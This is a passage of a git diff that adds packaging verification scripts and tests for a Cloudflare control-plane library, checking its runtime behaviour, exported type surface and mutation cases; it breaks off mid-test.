verifyControlPlanePackedRuntime({ + consumerDirectory, + packageRoot, +}) { + const fixture = join(consumerDirectory, 'control-plane-packed-worker.ts'); + await copyFile( + join(packageRoot, 'scripts/control-plane-packed-worker.ts'), + fixture, + ); + const require = createRequire(join(consumerDirectory, 'package.json')); + const entry = await realpath( + require.resolve('@proofoftech/fleet-control/cloudflare-control-plane'), + ); + const relativeEntry = relative(await realpath(consumerDirectory), entry); + assert.ok( + !relativeEntry.startsWith('..') && !isAbsolute(relativeEntry), + 'Worker entry must resolve inside the installed consumer', + ); + const packageRequire = createRequire(join(packageRoot, 'package.json')); + await copyFile( + packageRequire.resolve('@types/node/async_hooks.d.ts'), + join(consumerDirectory, 'packed-async-hooks.d.ts'), + ); + await writeFile( + join(consumerDirectory, 'tsconfig.worker-runtime.json'), + JSON.stringify( + { + compilerOptions: { + target: 'ES2022', + lib: ['ES2022'], + module: 'NodeNext', + moduleResolution: 'NodeNext', + strict: true, + noEmit: true, + skipLibCheck: false, + types: ['@cloudflare/workers-types'], + }, + files: ['control-plane-packed-worker.ts', 'packed-async-hooks.d.ts'], + }, + null, + 2, + ), + ); + execFileSync( + join(packageRoot, 'node_modules/.bin/tsc'), + ['-p', 'tsconfig.worker-runtime.json'], + { cwd: consumerDirectory, encoding: 'utf8', stdio: 'inherit' }, + ); + const server = createTestHarness({ + root: consumerDirectory, + workers: [ + { + config: { + name: 'fleet-control-packed-runtime', + main: fixture, + compatibility_date: '2026-08-06', + d1_databases: ['FLEET_DB', 'QUOTA_DB', 'FIXTURE_DB', 'TENANT_DB'].map( + (binding, index) => ({ + binding, + database_name: `packed-${binding.toLowerCase()}`, + database_id: `00000000-0000-4000-8000-${String(index + 1).padStart(12, '0')}`, + }), + ), + r2_buckets: [{ binding: 'EXPORTS', bucket_name: 'packed-exports' }], + }, + }, + ], + }); + const invocations = new Set(); + const evidence = { + compatibilityDate: '2026-08-06', + compatibilityFlags: [], + entry: relativeEntry, + }; + try { + await server.listen(); + const worker = server.getWorker(); + async function probe(action, token) { + const response = await worker.fetch('/packed-control-plane', { + method: 'POST', + headers: { 'content-type': 'application/json' }, + body: JSON.stringify({ + action, + ...(token === undefined ? {} : { token }), + }), + signal: AbortSignal.timeout(30_000), + }); + const envelope = await response.json(); + assert.equal(response.status, 200, JSON.stringify(envelope)); + assert.equal(invocations.has(envelope.invocationId), false); + invocations.add(envelope.invocationId); + return envelope.result; + } + const schema = await probe('schema'); + assert.deepEqual(schema.rows, [{ value: 'native-d1' }]); + assert.deepEqual(schema.batch, [[{ value: 'native-d1' }]]); + assert.deepEqual(schema.records, [null, null]); + assert.equal(schema.requests, 0); + evidence.schema = true; + + const lease = await probe('lease-winner'); + assert.match(JSON.stringify(lease.contender), /already being modified/); + assert.equal(lease.beforeRelease, 0); + assert.equal(lease.record.phase, 'cleanup-advancing'); + assert.equal(lease.cleanup.status, 'pending'); + let token = lease.cleanup.token; + assert.equal(lease.record.cleanupIntent.revision, token.revision); + const future = await probe('cleanup', { + ...token, + revision: token.revision + 1, + }); + assert.match(JSON.stringify(future.error), /future|ahead/i); + assert.equal(future.requests, 0); + const malformed = await probe('cleanup', { invalid: true }); + assert.ok(malformed.error); + assert.equal(malformed.requests, 0); + const old = token; + let terminal; + let calls = 0; + for (; calls < 24; calls += 1) { + const advanced = await probe('cleanup', token); + assert.equal(advanced.error, undefined, JSON.stringify(advanced)); + assert.ok(advanced.outcome); + if (advanced.outcome.status === 'complete') { + assert.equal(advanced.record, undefined); + assert.deepEqual(advanced.databases, []); + terminal = advanced.outcome; + break; + } + assert.equal(advanced.outcome.status, 'pending'); + assert.ok(advanced.outcome.token.revision > token.revision); + token = advanced.outcome.token; + if (calls === 0) { + const stale = await probe('cleanup', old); + assert.deepEqual(stale.outcome.token, token); + assert.equal(stale.requests, 0); + } + } + assert.ok(terminal, 'bounded cleanup did not reach its receipt'); + const replay = await probe('cleanup', terminal.token); + assert.deepEqual(replay.outcome.receipt, terminal.receipt); + assert.equal(replay.requests, 0); + evidence.lifecycle = { + continuationFetches: calls + 1, + receipt: terminal.receipt, + }; + + const quota = await probe('quota'); + assert.equal(quota.acquired, false); + assert.equal(quota.error.name, 'AbortError'); + assert.equal(quota.count, 1100); + assert.equal(quota.countAfterFreshInstance, 1100); + assert.ok(quota.completedBlockedBatches > 0); + evidence.quota = quota; + + const streamed = await probe('r2-write'); + assert.equal(streamed.error, undefined); + assert.equal(streamed.size, 1_048_576); + assert.equal(streamed.bytesEqual, true); + assert.deepEqual(streamed.readback, streamed.expected); + assert.equal(streamed.result.sha256, streamed.expected.sha256); + assert.equal(streamed.result.size, streamed.expected.size); + const receipt = await probe('receipt'); + const receiptReplay = await probe('receipt'); + assert.equal(receipt.error, undefined); + assert.equal(receiptReplay.error, undefined); + assert.equal(receipt.result.size, receipt.expected.size); + assert.equal(receipt.result.sha256, receipt.expected.sha256); + assert.deepEqual(receiptReplay.result, receipt.result); + assert.equal(receiptReplay.objectCount, 1); + assert.deepEqual(receiptReplay.readback, receipt.expected); + const collision = await probe('receipt-mismatch'); + assert.match(JSON.stringify(collision.error), /collision differs/); + assert.equal(collision.objectCount, 1); + assert.deepEqual(collision.readback, receipt.expected); + assert.equal(collision.bytesEqual, true); + evidence.r2 = { + size: streamed.size, + sha256: streamed.expected.sha256, + receipt: receipt.result, + }; + + for (const stale of [false, true]) { + const queued = await probe(stale ? 'queue-stale' : 'queue-live'); + const b = `packed${stale ? 'stale' : 'live'}b`; + assert.equal(queued.queuedPhase, 'database-create-authorized'); + assert.equal(queued.beforeRelease, 0); + const creates = queued.seen.filter( + (request) => request.method === 'POST' && request.name === b, + ); + assert.equal(creates.length, stale ? 0 : 1); + for (const request of queued.seen) + assert.equal(request.context, request.name?.endsWith('a') ? 'A' : 'B'); + assert.match(JSON.stringify(queued.aError), /packed A held-read failure/); + assert.match( + JSON.stringify(queued.bError), + stale + ? /lease is no longer owned/ + : /packed B create reached transport/, + ); + evidence[stale ? 'queuedStaleAuthority' : 'queuedContext'] = queued; + } + evidence.fetchInvocations = invocations.size; + process.stdout.write( + `fleet-control packed Worker runtime: ${JSON.stringify(evidence)}\n`, + ); + return evidence; + } finally { + await server.close(); + } +} diff --git a/packages/fleet-control/scripts/control-plane-packed-surface.mjs b/packages/fleet-control/scripts/control-plane-packed-surface.mjs new file mode 100644 index 00000000..057d0f7a --- /dev/null +++ b/packages/fleet-control/scripts/control-plane-packed-surface.mjs @@ -0,0 +1,628 @@ +// SPDX-License-Identifier: Apache-2.0 + +import assert from 'node:assert/strict'; +import { execFileSync } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { readFile, realpath, writeFile } from 'node:fs/promises'; +import { createRequire } from 'node:module'; +import { dirname, join, relative, resolve, sep } from 'node:path'; + +const PACKAGE_NAME = '@proofoftech/fleet-control'; +const ENTRY_NAME = `${PACKAGE_NAME}/cloudflare-control-plane`; + +const VALUE_NAMES = [ + 'ActiveRouteAttestationError', + 'CleanupAdvanceCapabilityError', + 'CleanupAdvanceRestartError', + 'CleanupAdvanceTokenDeploymentError', + 'CleanupAdvanceTokenError', + 'CleanupAdvanceTokenFutureError', + 'CleanupAdvanceTokenOperationError', + 'D1CloudflareApiRateCoordinator', + 'D1FleetStateDatabase', + 'DecommissionAdvanceCapabilityError', + 'DecommissionAdvanceRestartError', + 'DecommissionAdvanceTokenDeploymentError', + 'DecommissionAdvanceTokenError', + 'DecommissionAdvanceTokenFutureError', + 'DecommissionAdvanceTokenOperationError', + 'FleetAuditAdvanceCapabilityError', + 'FleetInventoryAdvanceCapabilityError', + 'FleetInventoryFindingValueError', + 'FleetInventoryRunTokenError', + 'FleetInventoryRunTokenFutureError', + 'FleetInventoryRunTokenOperationError', + 'FleetInventoryStateError', + 'FleetMigrationAdvanceCapabilityError', + 'FleetOperationStateError', + 'FleetOperationStoreCapabilityError', + 'FleetOperationTokenError', + 'FleetOperationTokenFutureError', + 'FleetOperationTokenKindError', + 'FleetOperationTokenOperationError', + 'ProvisioningError', + 'R2DatabaseExportStore', + 'WorkerDeploymentError', + 'createCloudflareControlPlane', + 'deploymentSpecDigest', + 'generateDeploymentSecrets', +]; + +const TYPE_NAMES = [ + 'ActiveRouteAttestation', + 'ApplicationBindingTopology', + 'ApplicationR2Binding', + 'ApplicationR2Resource', + 'AttestConvergedActiveRouteOptions', + 'BackendSwitchApplicationR2Progress', + 'BackendSwitchCandidateSnapshot', + 'BackendSwitchDecommissionRelease', + 'BackendSwitchDecommissionRouteTarget', + 'BackendSwitchDecommissionSnapshot', + 'BackendSwitchIntent', + 'BackendSwitchSubphase', + 'BridgeMutationPlan', + 'BridgeSnapshot', + 'CleanupAdvanceAction', + 'CleanupAdvanceCapability', + 'CleanupAdvanceIntent', + 'CleanupAdvanceResult', + 'CleanupAdvanceState', + 'CleanupAdvanceToken', + 'CleanupAttachmentProgress', + 'CleanupAttachmentPurpose', + 'CleanupAttachmentScan', + 'CleanupAuthority', + 'CleanupReceiptEvidence', + 'CleanupTerminalReceipt', + 'CloudflareAdvanceCleanupDeploymentOptions', + 'CloudflareAdvanceDecommissionDeploymentOptions', + 'CloudflareAdvanceFleetAuditOptions', + 'CloudflareAdvanceFleetInventoryOptions', + 'CloudflareAdvanceFleetMigrationOptions', + 'CloudflareApiRateCoordinator', + 'CloudflareControlPlane', + 'CloudflareControlPlaneOptions', + 'CloudflareDeploymentSpec', + 'CloudflareFleetInventoryAdvanceAction', + 'CloudflareFleetInventoryOptions', + 'CloudflareFleetMigrationItemsPage', + 'CloudflareFleetOperationPageOptions', + 'CloudflareProvisionDeploymentOptions', + 'D1CloudflareApiRateCoordinatorOptions', + 'D1Migration', + 'DatabaseExport', + 'DatabaseExportIntegrity', + 'DatabaseExportReceiptIdentity', + 'DecommissionAdvanceAction', + 'DecommissionAdvanceCapability', + 'DecommissionAdvanceIntent', + 'DecommissionAdvanceResult', + 'DecommissionAdvanceToken', + 'DecommissionAttachmentProgress', + 'DecommissionAttachmentPurpose', + 'DecommissionAttachmentScanEvidence', + 'DecommissionBlockedAttachment', + 'DecommissionIntentCommon', + 'DecommissionOperationIdentity', + 'DecommissionOperationMode', + 'DecommissionRecordIdentity', + 'DecommissionResult', + 'DeploymentApplicationBindings', + 'DeploymentEgressPolicy', + 'DeploymentSecrets', + 'DeploymentSpec', + 'DigestStreamConstructor', + 'DriftFinding', + 'DurableDatabaseExportStore', + 'DurableObjectBindingInventory', + 'DurableObjectMigration', + 'ExternalMigrationIntent', + 'ExternalMigrationSubphase', + 'ExternalPlatformResources', + 'ExternalPlatformTargetDescription', + 'ExternalReleaseSnapshot', + 'ExternalReleaseTopology', + 'FixedLengthStreamConstructor', + 'FleetAuditAdvanceAction', + 'FleetAuditAdvanceCapability', + 'FleetAuditAdvanceResult', + 'FleetAuditFindingsPage', + 'FleetAuditResultRef', + 'FleetAuditStage', + 'FleetInventoryAdvanceCapability', + 'FleetInventoryAdvanceResult', + 'FleetInventoryDeployment', + 'FleetInventoryFinding', + 'FleetInventoryGenerationRef', + 'FleetInventoryRowKind', + 'FleetInventoryRunToken', + 'FleetMigrationAdvanceAction', + 'FleetMigrationAdvanceResult', + 'FleetMigrationItem', + 'FleetMigrationPlanEntry', + 'FleetMigrationResultRef', + 'FleetMigrationStep', + 'FleetOperationFailure', + 'FleetOperationKind', + 'FleetOperationToken', + 'FleetRecord', + 'FleetResourceInventory', + 'FleetSettlementContext', + 'FleetSettlementEntry', + 'FleetSettlementHost', + 'FleetStateDatabase', + 'HostRoutingTarget', + 'InitialExecutionFenceState', + 'InvocationAuthorityCarrier', + 'MaintenanceHealth', + 'NormalDecommissionLifecyclePhase', + 'ObservedActiveRoute', + 'PlainBackendSnapshot', + 'PlatformWorkerSnapshot', + 'ProvisioningBackendKind', + 'ProvisioningPhase', + 'ProvisioningResult', + 'R2DatabaseExportStoreOptions', + 'R2DatabaseExportStoreStreamPrimitives', + 'R2Jurisdiction', + 'WorkerModule', + 'WorkerZoneRoute', +]; + +const METHOD_NAMES = [ + 'abandonFleetAuditOperation', + 'abandonFleetMigrationOperation', + 'advanceCleanupDeployment', + 'advanceDecommissionDeployment', + 'advanceFleetAudit', + 'advanceFleetInventory', + 'advanceFleetMigration', + 'getDeployment', + 'latestFinalizedInventoryGeneration', + 'provisionDeployment', + 'pruneCleanupReceipts', + 'pruneFleetOperations', + 'pruneInventoryGenerations', + 'readCleanupReceipt', + 'readFleetAuditFindingsPage', + 'readFleetInventoryGeneration', + 'readFleetMigrationItemsPage', +]; + +const FORBIDDEN_TYPES = new Set([ + 'CloudflareProvisioningClient', + 'CloudflareApiPlainWorkerBackend', + 'PlainWorkerBackend', + 'ProvisioningBackend', + 'PlainWorkerProvisioningApi', + 'BackendSwitchProvider', + 'FinalizedOrdinaryStateProvider', + 'FleetStateStore', + 'PlatformPlaneStateStore', + 'FleetStateLease', + 'FleetInventoryProviderContext', + 'FleetInventoryRunStore', + 'FleetInventoryLease', + 'FleetOperationStore', + 'FleetOperationLease', + 'ProcessLocalCloudflareApiRateCoordinator', + 'WorkersForPlatformsBackend', + 'WorkersForPlatformsBackendSwitchProvider', + 'WranglerLoopBackend', + 'FileSystemDatabaseExportStore', +]); + +function inspectPublicTypes(ts, program, entryPath, installedRoot) { + const checker = program.getTypeChecker(); + const entry = program.getSourceFile(entryPath); + assert.ok( + entry, + `installed declaration is absent from program: ${entryPath}`, + ); + const exports = checker.getExportsOfModule( + checker.getSymbolAtLocation(entry), + ); + assert.deepEqual( + exports.map((symbol) => symbol.name).sort(), + [...VALUE_NAMES, ...TYPE_NAMES].sort(), + 'curated declaration export table differs', + ); + const resolveSymbol = (symbol) => + symbol?.flags & ts.SymbolFlags.Alias + ? checker.getAliasedSymbol(symbol) + : symbol; + const exported = new Set(exports.map(resolveSymbol)); + const visitedSymbols = new Set(); + const visitedTypes = new Set(); + const reached = []; + const namedFlags = + ts.SymbolFlags.TypeAlias | + ts.SymbolFlags.Interface | + ts.SymbolFlags.Class | + ts.SymbolFlags.Enum; + const isLocal = (node) => + node?.getSourceFile().fileName.startsWith(`${installedRoot}${sep}`); + const isPublic = (node) => + !(node.name && ts.isPrivateIdentifier(node.name)) && + !( + ts.getCombinedModifierFlags(node) & + (ts.ModifierFlags.Private | ts.ModifierFlags.Protected) + ); + + function followSymbol(candidate, trail) { + const symbol = resolveSymbol(candidate); + if (!symbol || visitedSymbols.has(symbol)) return; + const declarations = (symbol.declarations ?? []).filter(isLocal); + if (!declarations.length) return; + visitedSymbols.add(symbol); + if (symbol.flags & namedFlags) { + const declaration = declarations[0]; + const file = declaration.getSourceFile(); + const location = `${relative(installedRoot, file.fileName)}:${file.getLineAndCharacterOfPosition(declaration.getStart()).line + 1}`; + assert.ok( + !FORBIDDEN_TYPES.has(symbol.name), + `forbidden public capability ${symbol.name} at ${location}: ${trail.join(' -> ')}`, + ); + assert.ok( + exported.has(symbol), + `missing public type export ${symbol.name} at ${location}: ${trail.join(' -> ')}`, + ); + reached.push({ name: symbol.name, location, trail }); + } + for (const declaration of declarations) { + followDeclaration(declaration, [...trail, symbol.name]); + } + } + + function followTypeNode(node, trail) { + if (!node) return; + const reference = ts.isTypeReferenceNode(node) + ? node.typeName + : ts.isTypeQueryNode(node) + ? node.exprName + : ts.isExpressionWithTypeArguments(node) + ? node.expression + : ts.isImportTypeNode(node) + ? node.qualifier + : undefined; + if (reference) { + followSymbol(checker.getSymbolAtLocation(reference), [ + ...trail, + reference.getText(), + ]); + } + ts.forEachChild(node, (child) => followTypeNode(child, trail)); + } + + function followSignature(signature, trail) { + if (!signature) return; + for (const parameter of [ + ...signature.parameters, + ...(signature.thisParameter ? [signature.thisParameter] : []), + ]) { + const declaration = + parameter.valueDeclaration ?? parameter.declarations?.[0]; + if (declaration) { + followType(checker.getTypeOfSymbolAtLocation(parameter, declaration), [ + ...trail, + `parameter ${parameter.name}`, + ]); + } + } + followType(checker.getReturnTypeOfSignature(signature), [ + ...trail, + 'return', + ]); + followType(checker.getTypePredicateOfSignature(signature)?.type, trail); + } + + function followType(type, trail) { + if (!type || visitedTypes.has(type)) return; + visitedTypes.add(type); + followSymbol(type.aliasSymbol, trail); + const symbol = type.getSymbol(); + if (symbol?.flags & namedFlags) followSymbol(symbol, trail); + for (const argument of type.aliasTypeArguments ?? []) + followType(argument, trail); + if (type.flags & (ts.TypeFlags.Union | ts.TypeFlags.Intersection)) { + for (const item of type.types) followType(item, trail); + } + if (type.flags & ts.TypeFlags.TypeParameter) { + followType(checker.getBaseConstraintOfType(type), trail); + } + if (type.flags & ts.TypeFlags.IndexedAccess) { + followType(type.objectType, trail); + followType(type.indexType, trail); + } + if (!(type.flags & ts.TypeFlags.Object)) return; + if (type.objectFlags & ts.ObjectFlags.Reference) { + for (const argument of checker.getTypeArguments(type)) + followType(argument, trail); + } + if ( + !symbol?.declarations?.some(isLocal) && + !type.aliasSymbol?.declarations?.some(isLocal) + ) + return; + for (const signature of [ + ...type.getCallSignatures(), + ...type.getConstructSignatures(), + ]) { + if (isLocal(signature.declaration)) followSignature(signature, trail); + } + for (const property of checker.getPropertiesOfType(type)) { + const declaration = property.declarations?.find( + (node) => isLocal(node) && isPublic(node), + ); + if (declaration) { + followType(checker.getTypeOfSymbolAtLocation(property, declaration), [ + ...trail, + `property ${property.name}`, + ]); + } + } + for (const index of checker.getIndexInfosOfType(type)) + followType(index.type, trail); + if (type.objectFlags & ts.ObjectFlags.ClassOrInterface) { + for (const base of checker.getBaseTypes(type) ?? []) + followType(base, trail); + } + } + + function followDeclaration(declaration, trail) { + if (!ts.isParameter(declaration) && !isPublic(declaration)) return; + for (const parameter of declaration.typeParameters ?? []) { + followTypeNode(parameter.constraint, trail); + followTypeNode(parameter.default, trail); + } + for (const heritage of declaration.heritageClauses ?? []) { + for (const type of heritage.types) followTypeNode(type, trail); + } + if ( + ts.isClassDeclaration(declaration) || + ts.isInterfaceDeclaration(declaration) + ) { + for (const member of declaration.members) { + followDeclaration(member, [ + ...trail, + member.name?.getText() ?? ts.SyntaxKind[member.kind], + ]); + } + return; + } + if (ts.isTypeAliasDeclaration(declaration)) { + followTypeNode(declaration.type, trail); + followType(checker.getTypeFromTypeNode(declaration.type), trail); + return; + } + followTypeNode(declaration.type, trail); + if ( + ts.isFunctionLike(declaration) || + ts.isCallSignatureDeclaration(declaration) || + ts.isConstructSignatureDeclaration(declaration) + ) { + for (const parameter of declaration.parameters) + followDeclaration(parameter, trail); + followSignature(checker.getSignatureFromDeclaration(declaration), trail); + return; + } + if (declaration.name) { + const symbol = checker.getSymbolAtLocation(declaration.name); + if (symbol) + followType( + checker.getTypeOfSymbolAtLocation(symbol, declaration), + trail, + ); + } + } + + for (const symbol of exports) followSymbol(symbol, [`export ${symbol.name}`]); + for (const name of TYPE_NAMES) { + assert.ok( + resolveSymbol(exports.find((symbol) => symbol.name === name)).flags & + ts.SymbolFlags.Type, + `${name} must be a type export`, + ); + } + return reached.sort((left, right) => left.name.localeCompare(right.name)); +} + +function workerProgram() { + return `import { ${VALUE_NAMES.join(', ')} } from '${ENTRY_NAME}'; +import type { ${TYPE_NAMES.join(', ')} } from '${ENTRY_NAME}'; +import type { D1Database, R2Bucket } from '@cloudflare/workers-types'; +export type PackedControlPlaneTypes = [${TYPE_NAMES.join(', ')}]; +void [${VALUE_NAMES.join(', ')}]; +declare const fleetDatabase: D1Database; +declare const quotaDatabase: D1Database; +declare const bucket: R2Bucket; +const options: CloudflareControlPlaneOptions = { + accountId: 'packed-account', apiToken: 'inert-token', + fleetDatabase, quotaDatabase, quotaScope: 'packed-quota', + databaseExports: { + bucket, bucketName: 'packed-exports', + streams: { DigestStream: crypto.DigestStream, FixedLengthStream }, + randomUUID: () => crypto.randomUUID(), + }, +}; +const plane: CloudflareControlPlane = createCloudflareControlPlane(options); +type ExpectedMethods = ${METHOD_NAMES.map((name) => `'${name}'`).join(' | ')}; +const noMissingMethods: Exclude extends never ? true : false = true; +const noExtraMethods: Exclude extends never ? true : false = true; +void [plane, noMissingMethods, noExtraMethods]; +`; +} + +function runtimeProgram(runtimeEntry) { + return `import assert from 'node:assert/strict'; +import { realpath } from 'node:fs/promises'; +import { fileURLToPath } from 'node:url'; +import * as surface from '${ENTRY_NAME}'; +assert.equal(await realpath(fileURLToPath(import.meta.resolve('${ENTRY_NAME}'))), ${JSON.stringify(runtimeEntry)}); +assert.deepEqual(Object.keys(surface).sort(), ${JSON.stringify(VALUE_NAMES)}); +for (const name of ${JSON.stringify(VALUE_NAMES)}) assert.equal(typeof surface[name], 'function', name); +for (const name of ${JSON.stringify(VALUE_NAMES.filter((name) => name.endsWith('Error')))}) { + assert.ok(surface[name].prototype instanceof Error, name); + assert.deepEqual(Reflect.ownKeys(surface[name].prototype), ['constructor'], name); +} +for (const [name, methods] of Object.entries({ + D1FleetStateDatabase: ['batch', 'constructor', 'execute', 'query'], + D1CloudflareApiRateCoordinator: ['acquire', 'constructor'], + R2DatabaseExportStore: ['constructor', 'write'], +})) assert.deepEqual(Reflect.ownKeys(surface[name].prototype).sort(), methods, name); +const unexpected = () => { throw new Error('packed surface shape probe performed I/O'); }; +const database = { prepare: unexpected, batch: unexpected }; +const plane = surface.createCloudflareControlPlane({ + accountId: 'packed-account', apiToken: 'inert-token', + fleetDatabase: database, quotaDatabase: database, quotaScope: 'packed-quota', + fetch: unexpected, maintenanceFetch: unexpected, + databaseExports: { + bucket: { put: unexpected, get: unexpected, delete: unexpected }, + bucketName: 'packed-exports', + streams: { DigestStream: class {}, FixedLengthStream: class {} }, + randomUUID: () => crypto.randomUUID(), + }, +}); +assert.equal(Object.getPrototypeOf(plane), Object.prototype); +assert.equal(Object.isFrozen(plane), true); +assert.deepEqual(Reflect.ownKeys(plane).sort(), ${JSON.stringify(METHOD_NAMES)}); +for (const method of ${JSON.stringify(METHOD_NAMES)}) { + const descriptor = Object.getOwnPropertyDescriptor(plane, method); + assert.equal(typeof descriptor.value, 'function', method); + assert.equal(descriptor.writable, false, method); + assert.equal(descriptor.configurable, false, method); +} +`; +} + +export async function verifyControlPlanePackedSurface({ + consumerDirectory, + packageRoot, +}) { + const consumer = await realpath(consumerDirectory); + const consumerRequire = createRequire(join(consumer, 'package.json')); + const manifestPath = await realpath( + consumerRequire.resolve(`${PACKAGE_NAME}/package.json`), + ); + const installedRoot = dirname(manifestPath); + assert.ok( + installedRoot.startsWith(`${consumer}${sep}`), + 'Fleet must resolve inside the installed consumer', + ); + assert.notEqual( + installedRoot, + await realpath(packageRoot), + 'Fleet must not resolve to its workspace implementation', + ); + const manifest = JSON.parse(await readFile(manifestPath, 'utf8')); + assert.deepEqual(manifest.exports['./cloudflare-control-plane'], { + types: './dist/cloudflare-control-plane.d.ts', + default: './dist/cloudflare-control-plane.js', + }); + const runtimeEntry = await realpath(consumerRequire.resolve(ENTRY_NAME)); + assert.equal( + runtimeEntry, + join(installedRoot, 'dist/cloudflare-control-plane.js'), + ); + const declarationEntry = await realpath( + join(installedRoot, 'dist/cloudflare-control-plane.d.ts'), + ); + const workersTypesManifest = await realpath( + consumerRequire.resolve('@cloudflare/workers-types/package.json'), + ); + assert.equal( + await realpath( + createRequire(runtimeEntry).resolve( + '@cloudflare/workers-types/package.json', + ), + ), + workersTypesManifest, + 'Fleet and the Worker consumer must resolve the same Workers type peer', + ); + const toolingRequire = createRequire( + join(resolve(packageRoot), 'package.json'), + ); + const ts = toolingRequire('typescript'); + const artifacts = { + worker: join(consumer, 'control-plane-worker.ts'), + config: join(consumer, 'tsconfig.control-plane-worker.json'), + runtime: join(consumer, 'control-plane-runtime.mjs'), + report: join(consumer, 'control-plane-surface-report.json'), + }; + const configuration = { + compilerOptions: { + target: 'ES2022', + lib: ['ES2022'], + module: 'NodeNext', + moduleResolution: 'NodeNext', + strict: true, + noEmit: true, + skipLibCheck: false, + types: ['@cloudflare/workers-types'], + }, + files: ['control-plane-worker.ts'], + }; + await writeFile(artifacts.worker, workerProgram()); + await writeFile( + artifacts.config, + `${JSON.stringify(configuration, null, 2)}\n`, + ); + await writeFile(artifacts.runtime, runtimeProgram(runtimeEntry)); + const parsed = ts.parseJsonConfigFileContent(configuration, ts.sys, consumer); + const program = ts.createProgram(parsed.fileNames, parsed.options); + const resolution = ts.resolveModuleName( + ENTRY_NAME, + artifacts.worker, + parsed.options, + ts.sys, + ).resolvedModule; + assert.ok(resolution, 'Worker program cannot resolve the installed subpath'); + assert.equal(await realpath(resolution.resolvedFileName), declarationEntry); + const diagnostics = [...parsed.errors, ...ts.getPreEmitDiagnostics(program)]; + const formattedDiagnostics = ts.formatDiagnosticsWithColorAndContext( + diagnostics, + { + getCanonicalFileName: (name) => name, + getCurrentDirectory: () => consumer, + getNewLine: () => '\n', + }, + ); + const identity = { + packageRoot: installedRoot, + manifest: manifestPath, + runtimeEntry, + declarationEntry, + workersTypesManifest, + workersTypesVersion: JSON.parse( + await readFile(workersTypesManifest, 'utf8'), + ).version, + runtimeSha256: createHash('sha256') + .update(await readFile(runtimeEntry)) + .digest('hex'), + declarationSha256: createHash('sha256') + .update(await readFile(declarationEntry)) + .digest('hex'), + typescriptVersion: ts.version, + }; + await writeFile( + artifacts.report, + `${JSON.stringify({ status: 'checking', identity, artifacts, diagnostics: formattedDiagnostics }, null, 2)}\n`, + ); + assert.equal(diagnostics.length, 0, formattedDiagnostics); + const reached = inspectPublicTypes( + ts, + program, + resolution.resolvedFileName, + installedRoot, + ); + execFileSync(process.execPath, [artifacts.runtime], { + cwd: consumer, + stdio: 'pipe', + }); + await writeFile( + artifacts.report, + `${JSON.stringify({ status: 'passed', identity, artifacts, valueNames: VALUE_NAMES, typeNames: TYPE_NAMES, reached, diagnostics: [] }, null, 2)}\n`, + ); + return { identity, artifacts }; +} diff --git a/packages/fleet-control/scripts/control-plane-packed-surface.test.mjs b/packages/fleet-control/scripts/control-plane-packed-surface.test.mjs new file mode 100644 index 00000000..b73275d5 --- /dev/null +++ b/packages/fleet-control/scripts/control-plane-packed-surface.test.mjs @@ -0,0 +1,215 @@ +// SPDX-License-Identifier: Apache-2.0 + +import assert from 'node:assert/strict'; +import { + cp, + mkdir, + mkdtemp, + readFile, + realpath, + rm, + symlink, + writeFile, +} from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { dirname, join, resolve } from 'node:path'; +import test, { after, before } from 'node:test'; +import { fileURLToPath } from 'node:url'; +import { verifyControlPlanePackedSurface } from './control-plane-packed-surface.mjs'; + +const packageRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..'); +let baselineDirectory; + +before(async () => { + baselineDirectory = await mkdtemp(join(tmpdir(), 'fleet-surface-baseline-')); + await cp(join(packageRoot, 'dist'), join(baselineDirectory, 'dist'), { + recursive: true, + }); + await cp( + join(packageRoot, 'package.json'), + join(baselineDirectory, 'package.json'), + ); +}); + +after(async () => { + if (baselineDirectory) + await rm(baselineDirectory, { recursive: true, force: true }); +}); + +async function fixture(context) { + const consumerDirectory = await mkdtemp( + join(tmpdir(), 'fleet-surface-mutation-'), + ); + context.after(() => rm(consumerDirectory, { recursive: true, force: true })); + const installedRoot = join( + consumerDirectory, + 'node_modules/@proofoftech/fleet-control', + ); + await mkdir(installedRoot, { recursive: true }); + // Copies isolate mutation tests; the publication gate consumes an installed tarball. + await cp(join(baselineDirectory, 'dist'), join(installedRoot, 'dist'), { + recursive: true, + }); + const manifest = JSON.parse( + await readFile(join(baselineDirectory, 'package.json'), 'utf8'), + ); + manifest.exports['./cloudflare-control-plane'] = { + types: './dist/cloudflare-control-plane.d.ts', + default: './dist/cloudflare-control-plane.js', + }; + await writeFile( + join(installedRoot, 'package.json'), + JSON.stringify(manifest), + ); + await writeFile( + join(consumerDirectory, 'package.json'), + JSON.stringify({ private: true, type: 'module' }), + ); + await mkdir(join(consumerDirectory, 'node_modules/@cloudflare'), { + recursive: true, + }); + for (const [name, target] of [ + [ + '@cloudflare/workers-types', + join(packageRoot, 'node_modules/@cloudflare/workers-types'), + ], + ['@proofoftech/flowsafe', resolve(packageRoot, '../flowsafe')], + ['cloudflare', join(packageRoot, 'node_modules/cloudflare')], + ['p-queue', join(packageRoot, 'node_modules/p-queue')], + ]) { + await symlink( + await realpath(target), + join(consumerDirectory, 'node_modules', name), + 'dir', + ); + } + return { + consumerDirectory, + installedRoot, + verify: () => + verifyControlPlanePackedSurface({ consumerDirectory, packageRoot }), + async replace(file, before, after) { + const path = join(installedRoot, 'dist', file); + const source = await readFile(path, 'utf8'); + assert.ok(source.includes(before), `mutation anchor missing in ${file}`); + await writeFile(path, source.replace(before, after)); + }, + }; +} + +test('accepts the built public surface through isolated package resolution', async (context) => { + const consumer = await fixture(context); + const result = await consumer.verify(); + assert.equal(result.identity.packageRoot, consumer.installedRoot); + const report = JSON.parse(await readFile(result.artifacts.report, 'utf8')); + assert.equal(report.status, 'passed'); + assert.deepEqual(report.diagnostics, []); + const config = JSON.parse(await readFile(result.artifacts.config, 'utf8')); + assert.equal(config.compilerOptions.skipLibCheck, false); + assert.deepEqual(config.compilerOptions.types, ['@cloudflare/workers-types']); +}); + +test('rejects a missing named type import with its compiler diagnostic', async (context) => { + const consumer = await fixture(context); + await consumer.replace( + 'cloudflare-control-plane.d.ts', + 'export interface CloudflareFleetInventoryOptions', + 'interface CloudflareFleetInventoryOptions', + ); + await assert.rejects( + consumer.verify(), + /has no exported member named 'CloudflareFleetInventoryOptions'/, + ); +}); + +test('rejects an extra declaration export without relying on compiler errors', async (context) => { + const consumer = await fixture(context); + await consumer.replace( + 'cloudflare-control-plane.d.ts', + 'export interface CloudflareControlPlaneOptions', + 'export interface UnexpectedPublicType {}\nexport interface CloudflareControlPlaneOptions', + ); + await assert.rejects( + consumer.verify(), + /curated 